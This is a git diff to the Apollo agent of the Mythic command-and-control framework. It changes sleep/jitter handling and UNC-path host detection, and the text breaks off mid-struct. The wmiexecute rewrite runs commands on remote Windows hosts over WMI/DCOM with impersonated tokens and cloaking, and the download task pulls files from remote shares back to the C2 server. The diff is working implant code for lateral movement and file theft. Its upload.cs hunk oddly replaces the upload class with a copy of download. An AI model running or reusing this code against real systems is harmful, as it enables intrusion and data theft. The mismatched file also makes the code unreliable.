diff --git a/Payload_Type/apollo/CHANGELOG.MD b/Payload_Type/apollo/CHANGELOG.MD index bc0d2479..a79d24fb 100644 --- a/Payload_Type/apollo/CHANGELOG.MD +++ b/Payload_Type/apollo/CHANGELOG.MD @@ -4,6 +4,16 @@ All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [v2.2.18] - 2024-10-16 + +### Changed + +- Updated `sleep` to take named parameters +- Updated `wmiexecute` to include Evan's wmi execute with impersonation tokens work https://gist.github.com/EvanMcBroom/99ea88304faec38d3ed1deefd1aba6f9 +- Updated `ls` to check for a CWD of a UNC path before returning bad data for the browser script to leverage +- Updated `upload` and `download` to also try to process a CWD of a UNC path when returning full paths for the file browser +- Added `host` field to return `upload` data to try to more accurately capture the host of where data is uploaded + ## [v2.2.17] - 2024-10-04 ### Changed diff --git a/Payload_Type/apollo/apollo/agent_code/Apollo/Program.cs b/Payload_Type/apollo/apollo/agent_code/Apollo/Program.cs index bfd443dd..ff86e969 100644 --- a/Payload_Type/apollo/apollo/agent_code/Apollo/Program.cs +++ b/Payload_Type/apollo/apollo/agent_code/Apollo/Program.cs @@ -30,33 +30,8 @@ class Program private static AutoResetEvent _complete = new AutoResetEvent(false); private static bool _completed; private static Action _flushMessages; - public enum RPC_AUTHN_LEVEL - { - PKT_PRIVACY = 6 - } - - public enum RPC_IMP_LEVEL - { - IMPERSONATE = 3 - } - - public enum EOLE_AUTHENTICATION_CAPABILITIES - { - DYNAMIC_CLOAKING = 0x40 - } - [DllImport("ole32.dll")] - static extern int CoInitializeSecurity(IntPtr pSecDesc, int cAuthSvc, IntPtr asAuthSvc, IntPtr pReserved1, RPC_AUTHN_LEVEL dwAuthnLevel, RPC_IMP_LEVEL dwImpLevel, IntPtr pAuthList, EOLE_AUTHENTICATION_CAPABILITIES dwCapabilities, IntPtr pReserved3); - // we need this to happen first so we can use impersonation tokens with wmiexecute - static readonly int _security_init = CoInitializeSecurity(IntPtr.Zero, -1, IntPtr.Zero, IntPtr.Zero, RPC_AUTHN_LEVEL.PKT_PRIVACY, RPC_IMP_LEVEL.IMPERSONATE, IntPtr.Zero, EOLE_AUTHENTICATION_CAPABILITIES.DYNAMIC_CLOAKING, IntPtr.Zero); - public static void Main(string[] args) { - // add a read to _security_init so it doesn't get optimized away in release builds - var keeper = _security_init; - if(args.Length < 0) - { - Console.WriteLine($"CoInitializeSecurity: {_security_init}"); - } //_sendAction = (object p) => //{ // PipeStream ps = (PipeStream)p; diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Structs/MythicStructs.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Structs/MythicStructs.cs index 8e93fcb1..5c197cd9 100644 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Structs/MythicStructs.cs +++ b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Structs/MythicStructs.cs @@ -1110,6 +1110,8 @@ public MessageType GetTypeCode() public string FullPath; [DataMember(Name = "task_id")] public string TaskID; + [DataMember(Name = "host")] + public string Host; public override bool Equals(object obj) { diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/download.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/download.cs index 2ecd9206..5931e8fb 100644 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/download.cs +++ b/Payload_Type/apollo/apollo/agent_code/Tasks/download.cs @@ -45,6 +45,7 @@ public override void Start() try { DownloadParameters parameters = _jsonSerializer.Deserialize(_data.Parameters); + string host = parameters.Hostname; if (string.IsNullOrEmpty(parameters.Hostname) && !File.Exists(parameters.FileName)) { resp = CreateTaskResponse( @@ -58,14 +59,35 @@ public override void Start() if (string.IsNullOrEmpty(parameters.Hostname)) { path = parameters.FileName; + string cwd = System.IO.Directory.GetCurrentDirectory().ToString(); + if (cwd.StartsWith("\\\\")) + { + var hostPieces = cwd.Split('\\'); + if (hostPieces.Length > 2) + { + host = hostPieces[2]; + path = $@"\\{hostPieces[2]}\{parameters.FileName}"; + } + else + { + resp = CreateTaskResponse($"invalid UNC path for CWD: {cwd}. Can't determine host. Please use explicit UNC path", true, "error"); + _agent.GetTaskManager().AddTaskResponseToQueue(resp); + } + } + else + { + host = Environment.GetEnvironmentVariable("COMPUTERNAME"); + } } else if (localhostAliases.Contains(parameters.Hostname.ToLower())) { path = parameters.FileName; + host = Environment.GetEnvironmentVariable("COMPUTERNAME"); } else { path = $@"\\{parameters.Hostname}\{parameters.FileName}"; + } byte[] fileBytes = new byte[0]; fileBytes = File.ReadAllBytes(path); @@ -85,7 +107,7 @@ public override void Start() parameters.FileName, out string mythicFileId, false, - parameters.Hostname)) + host)) { resp = CreateTaskResponse(mythicFileId, true, "completed", artifacts); } diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/ls.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/ls.cs index 98a53c9e..edffa1a0 100644 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/ls.cs +++ b/Payload_Type/apollo/apollo/agent_code/Tasks/ls.cs @@ -123,7 +123,27 @@ public override void Start() if (string.IsNullOrEmpty(uncPath)) uncPath = "."; if (string.IsNullOrEmpty(host)) - host = Environment.GetEnvironmentVariable("COMPUTERNAME"); + { + string cwd = System.IO.Directory.GetCurrentDirectory().ToString(); + if (cwd.StartsWith("\\\\")) + { + var hostPieces = cwd.Split('\\'); + if(hostPieces.Length > 2) + { + host = hostPieces[2]; + } else + { + resp = CreateTaskResponse($"invalid UNC path for CWD: {cwd}. Can't determine host. Please use explicit UNC path", true, "error"); + _agent.GetTaskManager().AddTaskResponseToQueue(resp); + return; + } + } else + { + host = Environment.GetEnvironmentVariable("COMPUTERNAME"); + } + + } + FileBrowser results = new FileBrowser { Host = host diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/sleep.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/sleep.cs index 8a22c73e..3f9bccd0 100644 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/sleep.cs +++ b/Payload_Type/apollo/apollo/agent_code/Tasks/sleep.cs @@ -9,11 +9,21 @@ using ApolloInterop.Classes; using ApolloInterop.Interfaces; using ApolloInterop.Structs.MythicStructs; +using System.Runtime.Serialization; +using static Tasks.make_token; namespace Tasks { public class sleep : Tasking { + [DataContract] + internal struct SleepParameters + { + [DataMember(Name = "interval")] + public int Sleep; + [DataMember(Name = "jitter")] + public int Jitter; + } public sleep(IAgent agent, MythicTask data) : base(agent, data) { } @@ -22,37 +32,21 @@ public sleep(IAgent agent, MythicTask data) : base(agent, data) public override void Start() { MythicTaskResponse resp; - string[] parts = _data.Parameters.Split(' '); - int sleepTime = -1; - double jitterTime = -1; - if (int.TryParse(parts[0], out sleepTime)) + SleepParameters parameters = _jsonSerializer.Deserialize(_data.Parameters); + if (parameters.Sleep >= 0) { - if (parts.Length > 1 && double.TryParse(parts[1], out jitterTime)) + if (parameters.Jitter >= 0) { - resp = CreateTaskResponse("", true); + _agent.SetSleep(parameters.Sleep, parameters.Jitter); } else { - resp = CreateTaskResponse("", true); + _agent.SetSleep(parameters.Sleep); } } - else - { - resp = CreateTaskResponse($"Failed to parse int from {parts[0]}.", true, "error"); - } - + resp = CreateTaskResponse("", true); _agent.GetTaskManager().AddTaskResponseToQueue(resp); - if (sleepTime >= 0) - { - if (jitterTime >= 0) - { - _agent.SetSleep(sleepTime, jitterTime); - } - else - { - _agent.SetSleep(sleepTime); - } - } + } } } diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/upload.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/upload.cs index 140c3971..1efbf768 100644 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/upload.cs +++ b/Payload_Type/apollo/apollo/agent_code/Tasks/upload.cs @@ -1,159 +1,132 @@ #define COMMAND_NAME_UPPER #if DEBUG -#define UPLOAD +#define DOWNLOAD #endif -#if UPLOAD +#if DOWNLOAD using System; +using System.Linq; using ApolloInterop.Classes; using ApolloInterop.Interfaces; using ApolloInterop.Structs.MythicStructs; using System.Runtime.Serialization; using System.IO; -using ApolloInterop.Utils; -using System.Linq; namespace Tasks { - public class upload : Tasking + public class download : Tasking { [DataContract] - internal struct UploadParameters + internal struct DownloadParameters { -#pragma warning disable 0649 - [DataMember(Name = "remote_path")] - internal string RemotePath; [DataMember(Name = "file")] - internal string FileID; - [DataMember(Name = "file_name")] - internal string FileName; + public string FileName; [DataMember(Name = "host")] - internal string HostName; -#pragma warning restore 0649 + public string Hostname; } - public upload(IAgent agent, MythicTask mythicTask) : base(agent, mythicTask) + private static string[] localhostAliases = new string[] + { + "localhost", + "127.0.0.1", + Environment.GetEnvironmentVariable("COMPUTERNAME").ToLower() + }; + + public download(IAgent agent, MythicTask mythicTask) : base(agent, mythicTask) { } - internal string ParsePath(UploadParameters p) + public override void Start() { - string uploadPath; - if (!string.IsNullOrEmpty(p.HostName)) + MythicTaskResponse resp; + try { - if (!string.IsNullOrEmpty(p.RemotePath)) + DownloadParameters parameters = _jsonSerializer.Deserialize(_data.Parameters); + string host = parameters.Hostname; + if (string.IsNullOrEmpty(parameters.Hostname) && !File.Exists(parameters.FileName)) { - uploadPath = string.Format(@"\\{0}\{1}", p.HostName, p.RemotePath); + resp = CreateTaskResponse( + $"File '{parameters.FileName}' does not exist.", + true, + "error"); } else { - // Remote paths require a share name - throw new ArgumentException("SMB share name not specified."); - } - } - else - { - if (!string.IsNullOrEmpty(p.RemotePath)) - { - if (Path.IsPathRooted(p.RemotePath)) + string path; + if (string.IsNullOrEmpty(parameters.Hostname)) + { + path = parameters.FileName; + string cwd = System.IO.Directory.GetCurrentDirectory().ToString(); + if (cwd.StartsWith("\\\\")) + { + var hostPieces = cwd.Split('\\'); + if (hostPieces.Length > 2) + { + host = hostPieces[2]; + path = $@"\\{hostPieces[2]}\{parameters.FileName}"; + } + else + { + resp = CreateTaskResponse($"invalid UNC path for CWD: {cwd}. Can't determine host. Please use explicit UNC path", true, "error"); + _agent.GetTaskManager().AddTaskResponseToQueue(resp); + } + } + else + { + host = Environment.GetEnvironmentVariable("COMPUTERNAME"); + } + + } else if (localhostAliases.Contains(parameters.Hostname.ToLower())) { - uploadPath = p.RemotePath; + path = parameters.FileName; + host = Environment.GetEnvironmentVariable("COMPUTERNAME"); } else { - uploadPath = Path.GetFullPath(p.RemotePath); - } - } - else - { - uploadPath = Directory.GetCurrentDirectory(); - } - } - - string unresolvedFilePath; - var uploadPathInfo = new DirectoryInfo(uploadPath); - if (uploadPathInfo.Exists) - { - unresolvedFilePath = Path.Combine([uploadPathInfo.FullName, p.FileName]); - } - else if (uploadPathInfo.Parent is DirectoryInfo parentInfo && parentInfo.Exists) - { - unresolvedFilePath = uploadPathInfo.FullName; - } - else - { - throw new ArgumentException($"{uploadPath} does not exist."); - } - - var parentPath = Path.GetDirectoryName(unresolvedFilePath); - var fileName = unresolvedFilePath.Split(Path.DirectorySeparatorChar).Last(); + path = $@"\\{parameters.Hostname}\{parameters.FileName}"; - string resolvedParent; - if (PathUtils.TryGetExactPath(parentPath, out var resolved)) - { - resolvedParent = resolved; - } - else - { - resolvedParent = parentPath; - } - - return Path.Combine([resolvedParent, fileName]); - } - - - public override void Start() - { - MythicTaskResponse resp; - UploadParameters parameters = _jsonSerializer.Deserialize(_data.Parameters); - // some additional upload logic - if (_agent.GetFileManager().GetFile( - _cancellationToken.Token, - _data.ID, - parameters.FileID, - out byte[] fileData)) - { - try - { - string path = ParsePath(parameters); - File.WriteAllBytes(path, fileData); + } + byte[] fileBytes = new byte[0]; + fileBytes = File.ReadAllBytes(path); - resp = CreateTaskResponse( - $"Uploaded {fileData.Length} bytes to {path}", - true, - "completed", - new IMythicMessage[] + IMythicMessage[] artifacts = new IMythicMessage[1] + { + new Artifact { - new UploadMessage() - { - FileID = parameters.FileID, - FullPath = path - }, - Artifact.FileWrite(path, fileData.Length) - }); - } - catch (Exception ex) - { - resp = CreateTaskResponse($"Failed to upload file: {ex.Message}", true, "error"); + BaseArtifact = "FileOpen", + ArtifactDetails = path + } + }; + if (_agent.GetFileManager().PutFile( + _cancellationToken.Token, + _data.ID, + fileBytes, + parameters.FileName, + out string mythicFileId, + false, + host)) + { + resp = CreateTaskResponse(mythicFileId, true, "completed", artifacts); + } + else + { + resp = CreateTaskResponse( + $"Download of {path} failed or aborted.", + true, + "error", artifacts); + } } } - else + catch (Exception ex) { - if (_cancellationToken.IsCancellationRequested) - { - resp = CreateTaskResponse($"Task killed.", true, "killed"); - } - else - { - resp = CreateTaskResponse("Failed to fetch file due to unknown reason.", true, "error"); - } + resp = CreateTaskResponse($"Unexpected error: {ex.Message}\n\n{ex.StackTrace}", true, "error"); } _agent.GetTaskManager().AddTaskResponseToQueue(resp); } } } -#endif +#endif \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/wmiexecute.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/wmiexecute.cs index 84dc8433..a6f9bc21 100644 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/wmiexecute.cs +++ b/Payload_Type/apollo/apollo/agent_code/Tasks/wmiexecute.cs @@ -14,285 +14,397 @@ using ApolloInterop.Structs.MythicStructs; using ApolloInterop.Utils; using System.Runtime.InteropServices; +using OleViewDotNet.Marshaling; +using OleViewDotNet.Interop; +using System.Security.Principal; +using System.Net; - -namespace Tasks; - -public class wmiexecute : Tasking +namespace OleViewDotNet.Interop { - // Argument marshaling taking from: - // https://learn.microsoft.com/en-us/dotnet/framework/interop/default-marshalling-for-objects - [ComImport] - [Guid("F309AD18-D86A-11d0-A075-00C04FB68820")] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - public interface IWbemLevel1Login + [Flags] + public enum CLSCTX : uint { - [return: MarshalAs(UnmanagedType.Interface)] - int EstablishPosition(/* ... */); - int RequestChallenge(/* ... */); - int WBEMLogin(/* ... */); - int NTLMLogin([In, MarshalAs(UnmanagedType.LPWStr)] string wszNetworkResource, [In, MarshalAs(UnmanagedType.LPWStr)] string wszPreferredLocale, [In] long lFlags, [In, MarshalAs(UnmanagedType.IUnknown)] Object pCtx, [MarshalAs(UnmanagedType.IUnknown)] ref Object ppNamespace); + REMOTE_SERVER = 0x10, + ENABLE_CLOAKING = 0x100000 } - [ComImport] - [Guid("9556dc99-828c-11cf-a37e-00aa003240c7")] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - public interface IWbemServices + [Flags] + public enum EOLE_AUTHENTICATION_CAPABILITIES { - [return: MarshalAs(UnmanagedType.Interface)] - int OpenNamespace(/* ... */); - int CancelAsyncCall(/* ... */); - int QueryObjectSink(/* ... */); - int GetObject([MarshalAs(UnmanagedType.BStr)] string strObjectPath, [In] long lFlags, [In, Optional, MarshalAs(UnmanagedType.IUnknown)] Object pCtx, [In, Out, Optional, MarshalAs(UnmanagedType.IUnknown)] ref Object ppObject, [In, Out, Optional, MarshalAs(UnmanagedType.IUnknown)] ref Object ppCallResult); - int GetObjectAsync(/* ... */); - int PutClass(/* ... */); - int PutClassAsync(/* ... */); - int DeleteClass(/* ... */); - int DeleteClassAsync(/* ... */); - int CreateClassEnum(/* ... */); - int CreateClassEnumAsync(/* ... */); - int PutInstance(/* ... */); - int PutInstanceAsync(/* ... */); - int DeleteInstance(/* ... */); - int DeleteInstanceAsync(/* ... */); - int CreateInstanceEnum(/* ... */); - int CreateInstanceEnumAsync(/* ... */); - int ExecQuery(/* ... */); - int ExecQueryAsync(/* ... */); - int ExecNotificationQuery(/* ... */); - int ExecNotificationQueryAsync(/* ... */); - int ExecMethod([MarshalAs(UnmanagedType.BStr)] string strObjectPath, [MarshalAs(UnmanagedType.BStr)] string strMethodName, [In] long lFlags, [In, Optional, MarshalAs(UnmanagedType.IUnknown)] Object pCtx, [In, Optional, MarshalAs(UnmanagedType.IUnknown)] Object pInParams, [In, Out, Optional, MarshalAs(UnmanagedType.IUnknown)] ref Object ppOutParams, [In, Out, Optional, MarshalAs(UnmanagedType.IUnknown)] ref Object ppCallResult); - int ExecMethodAsync(/* ... */); + STATIC_CLOAKING = 0x20, + DYNAMIC_CLOAKING = 0x40 } - [ComImport] - [Guid("dc12a681-737f-11cf-884d-00aa004b2e24")] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - public interface IWbemClassObject + [Flags] + public enum RPC_AUTHN_LEVEL { - [return: MarshalAs(UnmanagedType.Interface)] - int GetQualifierSet(/* ... */); - int Get([In, MarshalAs(UnmanagedType.LPWStr)] string wszName, [In] long lFlags, [In, Out] ref Object pVal, [In, Out, Optional] ref int pType, [In, Out, Optional] ref int plFlavor); - int Put([In, MarshalAs(UnmanagedType.LPWStr)] string wszName, [In] long lFlags, [In] ref Object pVal, [In, Optional] int Type); - int Delete(/* ... */); - int GetNames(/* ... */); - int BeginEnumeration(/* ... */); - int Next(/* ... */); - int EndEnumeration(/* ... */); - int GetPropertyQualifierSet(/* ... */); - int Clone(/* ... */); - int GetObjectText(/* ... */); - int SpawnDerivedClass(/* ... */); - int SpawnInstance([In] long lFlags, [MarshalAs(UnmanagedType.IUnknown)] ref Object ppNewInstance); - int CompareTo(/* ... */); - int GetPropertyOrigin(/* ... */); - int InheritsFrom(/* ... */); - int GetMethod([In, MarshalAs(UnmanagedType.LPWStr)] string wszName, [In] long lFlags, [MarshalAs(UnmanagedType.IUnknown)] ref Object ppInSignature, [MarshalAs(UnmanagedType.IUnknown)] ref Object ppOutSignature); - int PutMethod(/* ... */); - int DeleteMethod(/* ... */); - int BeginMethodEnumeration(/* ... */); - int NextMethod(/* ... */); - int EndMethodEnumeration(/* ... */); - int GetMethodQualifierSet(/* ... */); - int GetMethodOrigin(/* ... */); + PKT_PRIVACY = 6 } - [DataContract] - internal struct WmiExecuteParameters + + [Flags] + public enum RPC_IMP_LEVEL { - [DataMember(Name = "host")] - internal string? HostName; - [DataMember(Name = "username")] - internal string? Username; - [DataMember(Name = "password")] - internal string? Password; - [DataMember(Name = "domain")] - internal string? Domain; - [DataMember(Name = "command")] - internal string Command; + IMPERSONATE = 3 } - - public wmiexecute(IAgent agent, MythicTask data) : base(agent, data) + + [Flags] + public enum RPC_C_QOS_CAPABILITIES { + None = 0 } - public override void Start() + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + internal struct COAUTHINFO { - MythicTaskResponse resp = CreateTaskResponse("", true); - try - { - WmiExecuteParameters parameters = _jsonSerializer.Deserialize(_data.Parameters); - string? HostName = parameters.HostName?.Trim(); - string? Username = parameters.Username?.Trim(); - string? Password = parameters.Password?.Trim(); - string? Domain = parameters.Domain?.Trim(); - string Command = parameters.Command.Trim(); - if(HostName != null && HostName != "" && (Password == null || Password == "")){ - // https://gist.github.com/EvanMcBroom/99ea88304faec38d3ed1deefd1aba6f9 - // Create an object on a remote host. - // For the CLSID_WbemLevel1Login object, this requires you to use Administrative credentials. - // CLSID_WbemLevel1Login does not allow you to immediately query IWbemLevel1Login so you - // must query for IUnknown first. - var CLSID_WbemLevel1Login = new Guid("8BC3F05E-D86B-11D0-A075-00C04FB68820"); - var typeInfo = Type.GetTypeFromCLSID(CLSID_WbemLevel1Login, HostName, true); - var wbemLevel1Login = (IWbemLevel1Login)Activator.CreateInstance(typeInfo); - object output = null; - var result = wbemLevel1Login.NTLMLogin("ROOT\\CIMV2", null, 0, null, ref output); - // Get the WMI object - var wbemServices = (IWbemServices)output; - result = wbemServices.GetObject("Win32_Process", 0, null, ref output, null); - var win32Process = (IWbemClassObject)output; - // Get the signature (e.g., the definition) of the input parameters. - result = win32Process.GetMethod("Create", 0, ref output, null); - var inSignature = (IWbemClassObject)output; - // Create an instance of the input parameters for use to set them to - // actual values. - inSignature.SpawnInstance(0, ref output); - var inParameters = (IWbemClassObject)output; - var input = (object)Command; - result = inParameters.Put("CommandLine", 0, ref input); - // Execute the Win32_Process:Create and show its output parameters. - result = wbemServices.ExecMethod("Win32_Process", "Create", 0, null, inParameters, ref output, null); - Object processID = null; - Object returnValue = null; - ((IWbemClassObject)output).Get("ProcessId", 0, ref processID); - ((IWbemClassObject)output).Get("ReturnValue", 0, ref returnValue); - if(returnValue.ToString() == "0"){ - resp = CreateTaskResponse($"Command spawned PID ({processID.ToString()}) successfully", true, "success"); - }else{ - resp = CreateTaskResponse($"Command spawned PID ({processID.ToString()}) and executed with error code ({returnValue.ToString()})", true, "error"); - } - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - return; - } - //Original version using wmi v1 - ManagementScope scope = new ManagementScope(); - //executes for remote hosts - if (string.IsNullOrEmpty(HostName) is false) - { - //set wmi connection options - ConnectionOptions options = new ConnectionOptions - { - EnablePrivileges = true, - Authentication = AuthenticationLevel.PacketPrivacy, - Impersonation = ImpersonationLevel.Impersonate, - Username = string.IsNullOrEmpty(Username)? null : Username, - Password = string.IsNullOrEmpty(Password)? null : Password, - Authority = string.IsNullOrEmpty(Domain)? null : $"NTLMDOMAIN:{Domain}" - }; - DebugHelp.DebugWriteLine($@"trying to connect to target at: \\{HostName}\root\cimv2"); - DebugHelp.DebugWriteLine($@"Username: {options.Username}"); - DebugHelp.DebugWriteLine($@"Password: {Password}"); - DebugHelp.DebugWriteLine($@"Domain: {options.Authority}"); - scope = new ManagementScope($@"\\{HostName}\root\cimv2", options); - scope.Connect(); - DebugHelp.DebugWriteLine("Connected to target machine"); - } - //otherwise we assume the execution is local - else - { - DebugHelp.DebugWriteLine($@"trying to execute locally"); - } + public RpcAuthnService dwAuthnSvc; + public int dwAuthzSvc; + [MarshalAs(UnmanagedType.LPWStr)] + public string pwszServerPrincName; + public RPC_AUTHN_LEVEL dwAuthnLevel; + public RPC_IMP_LEVEL dwImpersonationLevel; + public IntPtr pAuthIdentityData; + public RPC_C_QOS_CAPABILITIES dwCapabilities; + } - //use system management object to execute command - ObjectGetOptions objectGetOptions = new ObjectGetOptions(); - ManagementPath managementPath = new ManagementPath("Win32_Process"); - ManagementClass processClass = new ManagementClass(scope, managementPath, objectGetOptions); - ManagementBaseObject inParams = processClass.GetMethodParameters("Create"); - DebugHelp.DebugWriteLine($"Executing command: {Command}"); - inParams["CommandLine"] = Command; - - - // Invoke the "Create" method to create the process - ManagementBaseObject outParams = processClass.InvokeMethod("Create", inParams, null); - //get status code - uint returnCode = (uint) outParams["returnValue"]; - DebugHelp.DebugWriteLine($"Return code: {returnCode}"); - if (returnCode != 0) - { - resp = CreateTaskResponse($"Command failed with return code: {returnCode}", true, "error"); - } - else + [StructLayout(LayoutKind.Sequential)] + public struct MULTI_QI : IDisposable + { + private IntPtr pIID; + public IntPtr pItf; + public int hr; + + void IDisposable.Dispose() + { + Marshal.FreeCoTaskMem(pIID); + if (pItf != IntPtr.Zero) { - resp = CreateTaskResponse("Command executed successfully", true); + Marshal.Release(pItf); + pItf = IntPtr.Zero; } - _agent.GetTaskManager().AddTaskResponseToQueue(resp); } - catch (Exception e) + + public MULTI_QI(Guid iid) { - if(e.Message.Contains("80070005")) - { - string extraMsg = "Unable to leverage impersonated tokens (make_token / steal_token) with WMI due to existing CoInitializeSecurity settings.\n"; - resp = CreateTaskResponse(extraMsg + "\n" + e.Message + "\n" + e.StackTrace, true, "error"); - } else - { - resp = CreateTaskResponse(e.Message + "\n" + e.StackTrace, true, "error"); - } - DebugHelp.DebugWriteLine(e.Message); - DebugHelp.DebugWriteLine(e.StackTrace); - _agent.GetTaskManager().AddTaskResponseToQueue(resp); + pIID = Marshal.AllocCoTaskMem(16); + Marshal.Copy(iid.ToByteArray(), 0, pIID, 16); + pItf = IntPtr.Zero; + hr = 0; } - } + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + public sealed class COSERVERINFO + { + private readonly int dwReserved1; + [MarshalAs(UnmanagedType.LPWStr)] + public string pwszName; + public IntPtr pAuthInfo; + private readonly int dwReserved2; + } + + internal static class NativeMethods + { + [DllImport("ole32.dll")] + public static extern int CoCreateInstanceEx(in Guid rclsid, IntPtr punkOuter, CLSCTX dwClsCtx, IntPtr pServerInfo, int dwCount, [In, Out] MULTI_QI[] pResults); + } + } -#endif -// wmi interaction using the new Microsoft.Management.Infrastructure library but requires .net 4.5.1 as the target and did not produce and meaningful differences like capturing output so for now is not used - /*DComSessionOptions DComOptions = new DComSessionOptions - { - Impersonation = ImpersonationType.Impersonate, - PacketIntegrity = true, - PacketPrivacy = true, - Timeout = TimeSpan.FromSeconds(120) - }; - - CimCredential credentials = new CimCredential(ImpersonatedAuthenticationMechanism.NtlmDomain); - if (string.IsNullOrWhiteSpace(Username) is false) +namespace OleViewDotNet.Marshaling +{ + public enum RpcAuthnService : int + { + None = 0, + Default = -1, + GSS_Negotiate = 9, + } +} + +namespace Tasks +{ + public class wmiexecute : Tasking + { + // Argument marshaling taking from: + // https://learn.microsoft.com/en-us/dotnet/framework/interop/default-marshalling-for-objects + [ComImport] + [Guid("F309AD18-D86A-11d0-A075-00C04FB68820")] + [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] + public interface IWbemLevel1Login + { + [return: MarshalAs(UnmanagedType.Interface)] + int EstablishPosition(/* ... */); + int RequestChallenge(/* ... */); + int WBEMLogin(/* ... */); + int NTLMLogin([In, MarshalAs(UnmanagedType.LPWStr)] string wszNetworkResource, [In, MarshalAs(UnmanagedType.LPWStr)] string wszPreferredLocale, [In] long lFlags, [In, MarshalAs(UnmanagedType.IUnknown)] Object pCtx, [MarshalAs(UnmanagedType.IUnknown)] ref Object ppNamespace); + } + + [ComImport] + [Guid("9556dc99-828c-11cf-a37e-00aa003240c7")] + [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] + public interface IWbemServices + { + [return: MarshalAs(UnmanagedType.Interface)] + int OpenNamespace(/* ... */); + int CancelAsyncCall(/* ... */); + int QueryObjectSink(/* ... */); + int GetObject([MarshalAs(UnmanagedType.BStr)] string strObjectPath, [In] long lFlags, [In, Optional, MarshalAs(UnmanagedType.IUnknown)] Object pCtx, [In, Out, Optional, MarshalAs(UnmanagedType.IUnknown)] ref Object ppObject, [In, Out, Optional, MarshalAs(UnmanagedType.IUnknown)] ref Object ppCallResult); + int GetObjectAsync(/* ... */); + int PutClass(/* ... */); + int PutClassAsync(/* ... */); + int DeleteClass(/* ... */); + int DeleteClassAsync(/* ... */); + int CreateClassEnum(/* ... */); + int CreateClassEnumAsync(/* ... */); + int PutInstance(/* ... */); + int PutInstanceAsync(/* ... */); + int DeleteInstance(/* ... */); + int DeleteInstanceAsync(/* ... */); + int CreateInstanceEnum(/* ... */); + int CreateInstanceEnumAsync(/* ... */); + int ExecQuery(/* ... */); + int ExecQueryAsync(/* ... */); + int ExecNotificationQuery(/* ... */); + int ExecNotificationQueryAsync(/* ... */); + int ExecMethod([MarshalAs(UnmanagedType.BStr)] string strObjectPath, [MarshalAs(UnmanagedType.BStr)] string strMethodName, [In] long lFlags, [In, Optional, MarshalAs(UnmanagedType.IUnknown)] Object pCtx, [In, Optional, MarshalAs(UnmanagedType.IUnknown)] Object pInParams, [In, Out, Optional, MarshalAs(UnmanagedType.IUnknown)] ref Object ppOutParams, [In, Out, Optional, MarshalAs(UnmanagedType.IUnknown)] ref Object ppCallResult); + int ExecMethodAsync(/* ... */); + } + + [ComImport] + [Guid("dc12a681-737f-11cf-884d-00aa004b2e24")] + [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] + public interface IWbemClassObject + { + [return: MarshalAs(UnmanagedType.Interface)] + int GetQualifierSet(/* ... */); + int Get([In, MarshalAs(UnmanagedType.LPWStr)] string wszName, [In] long lFlags, [In, Out] ref Object pVal, [In, Out, Optional] ref int pType, [In, Out, Optional] ref int plFlavor); + int Put([In, MarshalAs(UnmanagedType.LPWStr)] string wszName, [In] long lFlags, [In] ref Object pVal, [In, Optional] int Type); + int Delete(/* ... */); + int GetNames(/* ... */); + int BeginEnumeration(/* ... */); + int Next(/* ... */); + int EndEnumeration(/* ... */); + int GetPropertyQualifierSet(/* ... */); + int Clone(/* ... */); + int GetObjectText(/* ... */); + int SpawnDerivedClass(/* ... */); + int SpawnInstance([In] long lFlags, [MarshalAs(UnmanagedType.IUnknown)] ref Object ppNewInstance); + int CompareTo(/* ... */); + int GetPropertyOrigin(/* ... */); + int InheritsFrom(/* ... */); + int GetMethod([In, MarshalAs(UnmanagedType.LPWStr)] string wszName, [In] long lFlags, [MarshalAs(UnmanagedType.IUnknown)] ref Object ppInSignature, [MarshalAs(UnmanagedType.IUnknown)] ref Object ppOutSignature); + int PutMethod(/* ... */); + int DeleteMethod(/* ... */); + int BeginMethodEnumeration(/* ... */); + int NextMethod(/* ... */); + int EndMethodEnumeration(/* ... */); + int GetMethodQualifierSet(/* ... */); + int GetMethodOrigin(/* ... */); + } + + [DllImport("ole32.dll", CharSet = CharSet.Unicode)] + public static extern int CoSetProxyBlanket(IntPtr pProxy, RpcAuthnService dwAuthnSvc, RpcAuthnService dwAuthzSvc, IntPtr pServerPrincName, RPC_AUTHN_LEVEL dwAuthLevel, RPC_IMP_LEVEL dwImpLevel, IntPtr pAuthInfo, EOLE_AUTHENTICATION_CAPABILITIES dwCapabilities); + + static bool SetProxyBlanket(IntPtr comObject) + { + return CoSetProxyBlanket(comObject, RpcAuthnService.Default, RpcAuthnService.Default, IntPtr.Zero, RPC_AUTHN_LEVEL.PKT_PRIVACY, RPC_IMP_LEVEL.IMPERSONATE, IntPtr.Zero, EOLE_AUTHENTICATION_CAPABILITIES.STATIC_CLOAKING) >= 0; + } + static bool SetProxyBlanket(object comObject, Type interfaceType) + { + return SetProxyBlanket(Marshal.GetComInterfaceForObject(comObject, interfaceType)); + } + + [DataContract] + internal struct WmiExecuteParameters + { + 